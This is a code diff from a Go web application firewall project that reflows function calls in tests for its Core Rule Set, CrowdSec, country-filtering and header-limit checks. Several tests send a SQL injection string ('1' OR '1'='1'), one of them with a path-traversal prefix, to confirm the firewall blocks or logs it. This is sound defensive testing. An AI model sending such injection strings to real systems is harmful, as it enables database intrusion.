+func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
-	t *testing.T,
-	env map[string]string,
-) (*sender, *clock) {
 	t.Helper()
 
 	s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
@@ -663,15 +524,8 @@ func startWithAnswers(
 func (s *sender) download() (logLine, answer) {
 	s.t.Helper()
 
-	return s.requestWithBody(
+	return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
-		http.MethodGet,
+		requestlog.ActionForward)
-		client,
-		"/",
-		"",
-		"",
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 }
 
 // upload is download for a POST request with a body of bodyBytes, and

internal/waf/coreruleset.go

@@ -25,14 +25,9 @@ type coreRuleSet struct{}
 
 func (coreRuleSet) name() string { return "core_rule_set" }
 
-func (coreRuleSet) check(
+func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
-	_ context.Context,
-	rq *request,
-	_ time.Time,
-) *verdict {
 	cfg := rq.h.config
-	if cfg.WAFMode == config.WAFModeOff ||
+	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
-		pathExempt(rq.in, cfg.WAFExemptPaths) {
 		return nil
 	}
 
@@ -43,9 +38,7 @@ func (coreRuleSet) check(
 	result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
 	rq.requestBytes = int64(len(read))
 
-	rq.line.DurationCoreRuleSetMS = new(
+	rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
-		requestlog.Milliseconds(time.Since(start)),
-	)
 	rq.line.CoreRuleSetRuleIDs = result.RuleIDs
 	rq.line.CoreRuleSetScore = &result.Score
 
@@ -68,11 +61,8 @@ func (coreRuleSet) check(
 	rq.blockedByCoreRuleSet = true
 
 	return &verdict{
-		action: requestlog.ActionBlockedByCoreRuleSet,
+		action:  requestlog.ActionBlockedByCoreRuleSet,
-		figures: map[string]any{
+		figures: map[string]any{figureScore: result.Score, "threshold": threshold},
-			figureScore: result.Score,
-			"threshold": threshold,
-		},
 	}
 }
 

internal/waf/coreruleset_test.go

@@ -44,12 +44,7 @@ const sqlInjection = "/?id=1'%20OR%20'1'='1"
 // core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
 // score, that it has none of the three: the Core Rule Set did not inspect the
 // request.
-func wantCoreRuleSet(
+func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
-	t *testing.T,
-	line logLine,
-	score *int,
-	ruleIDs ...int,
-) {
 	t.Helper()
 
 	if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
@@ -60,12 +55,9 @@ func wantCoreRuleSet(
 	switch {
 	case score == nil &&
 		(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
-		t.Errorf(
+		t.Errorf("log line has core_rule_set_score %v and "+
-			"log line has core_rule_set_score %v and "+
+			"duration_core_rule_set_ms %v, want neither",
-				"duration_core_rule_set_ms %v, want neither",
+			line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
-			line.fields["core_rule_set_score"],
-			line.fields["duration_core_rule_set_ms"],
-		)
 	case score != nil &&
 		(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
 		t.Errorf("log line has core_rule_set_score %v, want %d",
@@ -90,21 +82,11 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			s, _, _ := startWithClock(
+			s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
-				t,
-				"",
-				map[string]string{wafMode: tc.mode},
-			)
 
-			wantTags(
+			wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
-				t,
+				"exploitsignature")
-				s.request(client, sqlInjection, tc.status, tc.action),
+			wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
-				"exploitsignature",
-			)
-			wantTags(
-				t,
-				s.get(client, http.StatusOK, requestlog.ActionForward),
-			)
 		})
 	}
 }
@@ -121,9 +103,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
 	wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
 }
 
-func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
+func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, attack := range []struct {
@@ -162,19 +142,10 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
 				{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
 				{detect, requestlog.ActionForward, http.StatusOK},
 			} {
-				s, _, _ := startWithClock(
+				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
-					t,
-					"",
-					map[string]string{wafMode: tc.mode},
-				)
 
-				line := s.requestWithHeader(
+				line := s.requestWithHeader(client, attack.path, attack.header,
-					client,
+					tc.status, tc.action)
-					attack.path,
-					attack.header,
-					tc.status,
-					tc.action,
-				)
 				wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
 			}
 		})
@@ -196,12 +167,8 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
 
 	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
 
-	line := s.request(
+	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
-		client,
+		http.StatusOK, requestlog.ActionForward)
-		"/owner/repo/src/branch/main/README.md?display=source",
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 	wantCoreRuleSet(t, line, new(0))
 }
 
@@ -221,48 +188,26 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
 
 	// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
 	// exempts, are not inspected.
-	line := s.request(
+	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
-		allowed,
-		sqlInjection,
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 	wantCoreRuleSet(t, line, nil)
-	line = s.request(
+	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
-		client,
+		requestlog.ActionForward)
-		"/api/v1/repos?id=1'%20OR%20'1'='1",
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 	wantCoreRuleSet(t, line, nil)
 
 	// The prefix is matched as rate limit exempt paths are: a path that
 	// goes up and out of it is inspected.
-	line = s.request(
+	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
-		client,
+		requestlog.ActionBlockedByCoreRuleSet)
-		"/api/../?id=1'%20OR%20'1'='1",
-		http.StatusForbidden,
-		requestlog.ActionBlockedByCoreRuleSet,
-	)
 	wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
 
 	// A request a rule file refuses is not inspected.
-	line = s.request(
+	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
-		otherClient,
+		requestlog.ActionBlockedByBlockRule)
-		"/blocked?id=1'%20OR%20'1'='1",
-		http.StatusForbidden,
-		requestlog.ActionBlockedByBlockRule,
-	)
 	wantCoreRuleSet(t, line, nil)
 
 	// With SWW_WAF_MODE off, no request is.
 	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
-	line = s.request(
+	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
-		client,
-		sqlInjection,
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 	wantCoreRuleSet(t, line, nil)
 }
 
@@ -276,12 +221,7 @@ func TestAnomalyThreshold(t *testing.T) {
 			wafMode: block, wafAnomalyThreshold: threshold,
 		})
 
-		line := s.request(
+		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
-			client,
-			sqlInjection,
-			http.StatusOK,
-			requestlog.ActionForward,
-		)
 		wantCoreRuleSet(t, line, new(5), 942100)
 	}
 
@@ -329,20 +269,9 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 			}
 
 			// By default, the rules are switched off.
-			s, _, _ := startWithClock(
+			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
-				t,
+			line, _ := s.requestWithBody(request.method, client, request.path,
-				"",
+				request.header, body, http.StatusOK, requestlog.ActionForward)
-				map[string]string{wafMode: block},
-			)
-			line, _ := s.requestWithBody(
-				request.method,
-				client,
-				request.path,
-				request.header,
-				body,
-				http.StatusOK,
-				requestlog.ActionForward,
-			)
 			wantCoreRuleSet(t, line, new(0))
 
 			// A list given replaces the default.
@@ -350,24 +279,12 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 				wafMode: block, wafDisabledRules: "942100",
 			})
 			score := 5 * len(request.ruleIDs)
-			line, _ = s.requestWithBody(
+			line, _ = s.requestWithBody(request.method, client, request.path,
-				request.method,
+				request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
-				client,
-				request.path,
-				request.header,
-				body,
-				http.StatusForbidden,
-				requestlog.ActionBlockedByCoreRuleSet,
-			)
 			wantCoreRuleSet(t, line, &score, request.ruleIDs...)
 
 			// And switches off the rules it lists.
-			line = s.request(
+			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
-				client,
-				sqlInjection,
-				http.StatusOK,
-				requestlog.ActionForward,
-			)
 			wantCoreRuleSet(t, line, new(0))
 		})
 	}
@@ -437,13 +354,8 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
 
 		got := do(t, req)
 		if got.status != http.StatusOK || string(got.body) != tc.body {
-			t.Errorf(
+			t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
-				"%s: the app got %d bytes, answered %d, want the %d sent, 200",
+				tc.name, len(got.body), got.status, len(tc.body))
-				tc.name,
-				len(got.body),
-				got.status,
-				len(tc.body),
-			)
 		}
 
 		line := out.endedLines(t, i+1)[i]
@@ -472,19 +384,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
 
 	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
 	if got.status != http.StatusOK || string(got.body) != page {
-		t.Errorf(
+		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
-			"answered %d with %q, want 200 with the app's page",
-			got.status,
-			got.body,
-		)
 	}
 
 	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
 }
 
-func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	s, _, server := startWithClock(t, "", map[string]string{
@@ -502,11 +408,8 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
 		requestlog.ActionBlockedByCoreRuleSet)
 	if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
 		line.Offence != requestlog.OffenceLimit {
-		t.Errorf(
+		t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
-			"log line has limit_hit %q and offence %q, want minute_refusals and limit",
+			line.LimitHit, line.Offence)
-			line.LimitHit,
-			line.Offence,
-		)
 	}
 
 	s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -517,30 +420,15 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
 	}
 
 	metrics := s.scrape()
-	wantMetric(
+	wantMetric(t, metrics,
-		t,
+		`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
-		metrics,
+	wantMetric(t, metrics,
-		`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`,
+		`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
-		3,
+	wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
-	)
+		`instance="app",status_class="4xx"}`, 3)
-	wantMetric(
-		t,
-		metrics,
-		`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`,
-		3,
-	)
-	wantMetric(
-		t,
-		metrics,
-		`sww_requests_total{action="blocked_by_core_rule_set",`+
-			`instance="app",status_class="4xx"}`,
-		3,
-	)
 }
 
-func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	s, _, server := startWithClock(t, "", map[string]string{
@@ -548,12 +436,7 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
 	})
 
 	for range 3 {
-		s.request(
+		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
-			client,
-			sqlInjection,
-			http.StatusOK,
-			requestlog.ActionForward,
-		)
 	}
 
 	s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -564,12 +447,8 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
 	}
 
 	metrics := s.scrape()
-	wantMetric(
+	wantMetric(t, metrics,
-		t,
+		`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
-		metrics,
-		`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`,
-		3,
-	)
 	wantNoSeries(t, metrics,
 		`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
 }
@@ -577,18 +456,9 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
 func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
 	t.Parallel()
 
-	s, _, server := startWithClock(
+	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
-		t,
-		"",
-		map[string]string{wafMode: block, mode: observe},
-	)
 
-	line := s.request(
+	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
-		client,
-		sqlInjection,
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 	wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
 	wantCoreRuleSet(t, line, new(5), 942100)
 
@@ -638,9 +508,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
 			s.get(client, http.StatusOK, requestlog.ActionForward)
 
 			detail := map[string]any{
-				"rule_ids": []int{
+				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
-					942100,
-				}, "score": 5, "method": http.MethodGet,
 				"path": sqlInjection,
 			}
 			if tc.alertMode != "" {
@@ -659,10 +527,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
 			})
 
 			if queue.Suppressed() != 1 {
-				t.Errorf(
+				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
-					"%d alerts held back, want the repeat",
-					queue.Suppressed(),
-				)
 			}
 		})
 	}

internal/waf/countries.go

@@ -18,11 +18,7 @@ type countries struct{}
 
 func (countries) name() string { return "countries" }
 
-func (countries) check(
+func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
-	_ context.Context,
-	rq *request,
-	_ time.Time,
-) *verdict {
 	allowed := rq.h.config.ExclusivelyAllowedCountries
 	country := rq.line.Country
 

internal/waf/countries_test.go

@@ -52,10 +52,7 @@ func TestCountryLists(t *testing.T) {
 				calls.Add(1)
 			})
 			geojsURL, _ := startGeoJS(t)
-			env := map[string]string{
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
-				trustedProxies: trustLocalhost,
-				lookupTimeout:  "1h",
-			}
 			maps.Copy(env, tc.env)
 			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
 
@@ -71,25 +68,14 @@ func TestCountryLists(t *testing.T) {
 				line := out.endedLines(t, i+1)[i]
 				if line.ASN != sent.asn || line.ASName != sent.asName ||
 					line.Country != sent.country {
-					t.Errorf(
+					t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
-						"log line has %q, %q and %q, want %q, %q and %q",
+						line.ASN, line.ASName, line.Country,
-						line.ASN,
+						sent.asn, sent.asName, sent.country)
-						line.ASName,
-						line.Country,
-						sent.asn,
-						sent.asName,
-						sent.country,
-					)
 				}
 
 				if slices.Contains(tc.refused, sent.client) {
 					wantStatus(t, got, http.StatusForbidden)
-					wantLine(
+					wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
-						t,
-						line,
-						http.StatusForbidden,
-						requestlog.ActionCountryDenied,
-					)
 				} else {
 					wantStatus(t, got, http.StatusOK)
 					wantLine(t, line, http.StatusOK, requestlog.ActionForward)
@@ -112,19 +98,11 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
 		lookupTimeout: "1h", allowedCountries: "de",
 	})
 
-	line := s.get(
+	line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
-		fromKP,
-		http.StatusForbidden,
-		requestlog.ActionCountryDenied,
-	)
 	wantHeuristic(t, line, "countries",
 		`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
 
-	line = s.get(
+	line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
-		unplaced,
-		http.StatusForbidden,
-		requestlog.ActionCountryDenied,
-	)
 	wantHeuristic(t, line, "countries",
 		`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
 }
@@ -144,13 +122,7 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
 		allowedCountries: "de",
 	})
 
-	req := newRequest(
+	req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
-		t,
-		http.MethodPost,
-		addr,
-		"/",
-		strings.NewReader("a body"),
-	)
 	req.Header.Set(forwardedFor, fromKP)
 	wantStatus(t, do(t, req), http.StatusForbidden)
 
@@ -177,9 +149,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
 				return
 			}
 
-			answer := []geojsAnswer{
+			answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
-				{IP: r.URL.Query().Get("ip"), CountryCode: "DE"},
-			}
 
 			err := json.NewEncoder(w).Encode(answer)
 			if err != nil {
@@ -239,10 +209,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
 
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 			geojsURL, asked := startGeoJS(t)
-			env := map[string]string{
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
-				trustedProxies: trustLocalhost,
-				lookupTimeout:  "1h",
-			}
 			maps.Copy(env, tc.env)
 			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
 
@@ -263,12 +230,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
 				for _, field := range []string{"asn", "as_name", "country"} {
 					value, present := line.fields[field]
 					if !present || value != "" {
-						t.Errorf(
+						t.Errorf("log line for %q has %s %v, want an empty one",
-							"log line for %q has %s %v, want an empty one",
+							line.ClientIP, field, value)
-							line.ClientIP,
-							field,
-							value,
-						)
 					}
 				}
 			}
@@ -280,16 +243,10 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
 			req.Header.Set(forwardedFor, fromDE)
 			wantStatus(t, do(t, req), http.StatusOK)
 
-			waitUntil(
+			waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
-				func() bool { return slices.Contains(asked(), fromDE) },
-			)
 
 			if got := asked(); !slices.Equal(got, []string{fromDE}) {
-				t.Errorf(
+				t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
-					"GeoJS was asked about %v, want %s alone",
-					got,
-					fromDE,
-				)
 			}
 		})
 	}
@@ -318,16 +275,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
 
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 			geojsURL, asked := startGeoJS(t)
-			addr, out := startProxyWithGeoJS(
+			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
-				t,
+				trustedProxies:   trustLocalhost,
-				app.URL,
+				allowedCountries: "de",
-				geojsURL,
+				allowNets:        tc.allowNets,
-				map[string]string{
+			})
-					trustedProxies:   trustLocalhost,
-					allowedCountries: "de",
-					allowNets:        tc.allowNets,
-				},
-			)
 
 			wantAnswers(t, addr, out, []sentRequest{
 				{"10.0.0.7", tc.status, tc.action},
@@ -431,19 +383,9 @@ type geojsAnswer struct {
 func answerAbout(addr string) geojsAnswer {
 	switch addr {
 	case fromDE:
-		return geojsAnswer{
+		return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
-			IP:          addr,
-			ASN:         64496,
-			ASName:      asNameDE,
-			CountryCode: "DE",
-		}
 	case fromKP:
-		return geojsAnswer{
+		return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
-			IP:          addr,
-			ASN:         64511,
-			ASName:      asNameKP,
-			CountryCode: "KP",
-		}
 	}
 
 	return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}

internal/waf/crowdsec.go

@@ -21,11 +21,7 @@ type crowdSec struct{}
 
 func (crowdSec) name() string { return "crowdsec" }
 
-func (crowdSec) check(
+func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
-	_ context.Context,
-	rq *request,
-	now time.Time,
-) *verdict {
 	decision, listed := rq.crowdSecDecisionInForce(now)
 	if !listed {
 		return nil

internal/waf/crowdsec_test.go

@@ -25,9 +25,7 @@ const (
 	bouncerKey   = "crowdsec-key-0123456789abcdef"
 )
 
-func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
+func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	s, clk, server, queue := startWithAlerts(t, map[string]string{
@@ -41,56 +39,44 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
 	expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
 
 	// Its first request is refused, and bans it until the decision ends.
-	banned := requestlog.ActionTemporarilyBanned
+	line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-	line := s.get(client, http.StatusForbidden, banned)
 	wantReputation(t, line, decisionsURL)
 
 	if line.BanExpires != expires {
-		t.Errorf("log line has ban_expires %q, want %s",
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
-			line.BanExpires, expires)
 	}
 
 	listed := []bans.ReputationHit{{Source: decisionsURL}}
 
 	held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
 	if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
-		!held[0].Start.Equal(fetched) ||
+		!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
-		!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
 		held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
 		!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
 		held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
-		t.Fatalf(
+		t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
-			"bans %+v, want one for crowdsec of four hours, with the list and "+
+			"the request in its notes", held)
-				"the request in its notes",
-			held,
-		)
 	}
 
 	// The listing raises a reputation_hit alert, and the ban its own.
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
 		waiting[0].Reason != "listed by the CrowdSec decision list" ||
-		!reflect.DeepEqual(
+		!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
-			waiting[1],
+			expires)) {
-			banAlert(alerts.EventBan, fetched, client, held[0],
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
-				expires),
+			waiting)
-		) {
-		t.Errorf(
-			"alerts waiting %+v, want a reputation_hit alert, then the ban's",
-			waiting,
-		)
 	}
 
 	// Each request while the ban lasts is refused under it, as under any
 	// ban, and once it has ended the client is let through.
 	clk.advance(4*time.Hour - time.Second)
 
-	line = s.get(client, http.StatusForbidden, banned)
+	line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
 	wantReputation(t, line)
 
 	if line.BanExpires != expires {
-		t.Errorf("log line has ban_expires %q, want %s",
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
-			line.BanExpires, expires)
 	}
 
 	clk.advance(time.Second)
@@ -105,12 +91,8 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
 		`instance="`+alertInstance+`"}`, 1)
 	wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
 	wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
-	wantMetric(
+	wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
-		t,
+		float64(fetched.Unix()))
-		metrics,
-		"sww_reputation_last_fetch_timestamp_seconds"+labels,
-		float64(fetched.Unix()),
-	)
 }
 
 func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
@@ -123,24 +105,13 @@ func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
 		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
 		`"value": "`+client+`"}]`)
 
-	line := s.get(
+	line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		client,
+	wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
-		http.StatusForbidden,
+		`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
-		requestlog.ActionTemporarilyBanned,
-	)
-	wantHeuristic(
-		t,
-		line,
-		"crowdsec",
-		`{"scenario": "crowdsecurity/ssh-bf", `+
-			`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
-	)
 	wantTags(t, line, "crowdsec")
 }
 
-func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
+func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	s, clk, server := startWithClock(t, "", map[string]string{
@@ -158,44 +129,24 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
 	// Just before its end, the decision bans a client in the netblock, and
 	// one on an IPv6 address bans the address's group, the /64.
 	clk.advance(time.Minute - time.Nanosecond)
-	s.get(
+	s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		"198.51.100.7",
+	s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		http.StatusForbidden,
+	s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		requestlog.ActionTemporarilyBanned,
-	)
-	s.get(
-		"2001:db8::9",
-		http.StatusForbidden,
-		requestlog.ActionTemporarilyBanned,
-	)
-	s.get(
-		"2001:db8::5",
-		http.StatusForbidden,
-		requestlog.ActionTemporarilyBanned,
-	)
 
 	// Once it has ended, it bans no other client, and the bans it made end
 	// with it.
 	clk.advance(time.Nanosecond)
 
 	for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
-		wantReputation(
+		wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
-			t,
-			s.get(from, http.StatusOK, requestlog.ActionForward),
-		)
 	}
 
 	if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
-		t.Errorf(
+		t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
-			"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
+			"2001:db8::/64", made)
-				"2001:db8::/64",
-			made,
-		)
 	}
 
-	if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(
+	if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
-		held,
-	) != 1 {
 		t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
 	}
 }
@@ -224,11 +175,8 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
 	if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
 		waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
 		waiting[1].Detail["mode"] != observe {
-		t.Errorf(
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
-			"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
+			"marked observe", waiting)
-				"marked observe",
-			waiting,
-		)
 	}
 }
 

internal/waf/headerlimits.go

@@ -24,11 +24,7 @@ type headerLimits struct{}
 
 func (headerLimits) name() string { return "header_limits" }
 
-func (headerLimits) check(
+func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
-	_ context.Context,
-	rq *request,
-	_ time.Time,
-) *verdict {
 	fields, cookies := rq.headerCounts()
 	if fields <= maxHeaderFields && cookies <= maxCookies {
 		return nil

internal/waf/health_test.go

@@ -13,11 +13,7 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
 
 	// With a limit of one request a minute, any request counted before
 	// the last one would have it refused.
-	s, _, _ := startWithClock(
+	s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
-		t,
-		"",
-		map[string]string{rateLimitPerMinute: "1"},
-	)
 
 	const (
 		healthChecks = 3
@@ -28,15 +24,9 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
 		got := s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "",
 			http.StatusOK)
 
